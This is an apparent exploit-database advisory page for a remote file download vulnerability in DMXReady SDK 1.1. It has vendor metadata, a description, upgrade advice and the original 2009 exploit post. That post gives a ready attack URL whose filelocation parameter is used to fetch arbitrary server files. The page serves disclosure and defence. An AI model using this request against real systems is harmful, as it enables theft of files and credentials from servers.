DMXReady SDK - exploit.company

vendor:

DMXReady SDK

by:

ajann

7.5

CVSS

HIGH

Remote File Download

434

CWE

Product Name: DMXReady SDK

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:dmxready:dmxready_sdk

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DMXReady SDK <= 1.1 Remote File Download Vulnerability

A vulnerability in DMXReady SDK version 1.1 and below allows an attacker to download arbitrary files from the target server. This is done by sending a specially crafted HTTP request to the download_link.asp script, which contains the path to the file to be downloaded. The file is then sent to the attacker in the response body.

Mitigation:

Upgrade to the latest version of DMXReady SDK, which is not vulnerable to this attack.

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  DMXReady SDK <= 1.1 Remote File Download Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com/productdetails.asp?mid=5&incid=11&ItemID=178
# $$      :  389.97 $

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

# http://[target]/path/control_panel/download_link.asp?filename=inc_faqsmanager_qs_jump_menu.asp&filelocation={FILE PATH}


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]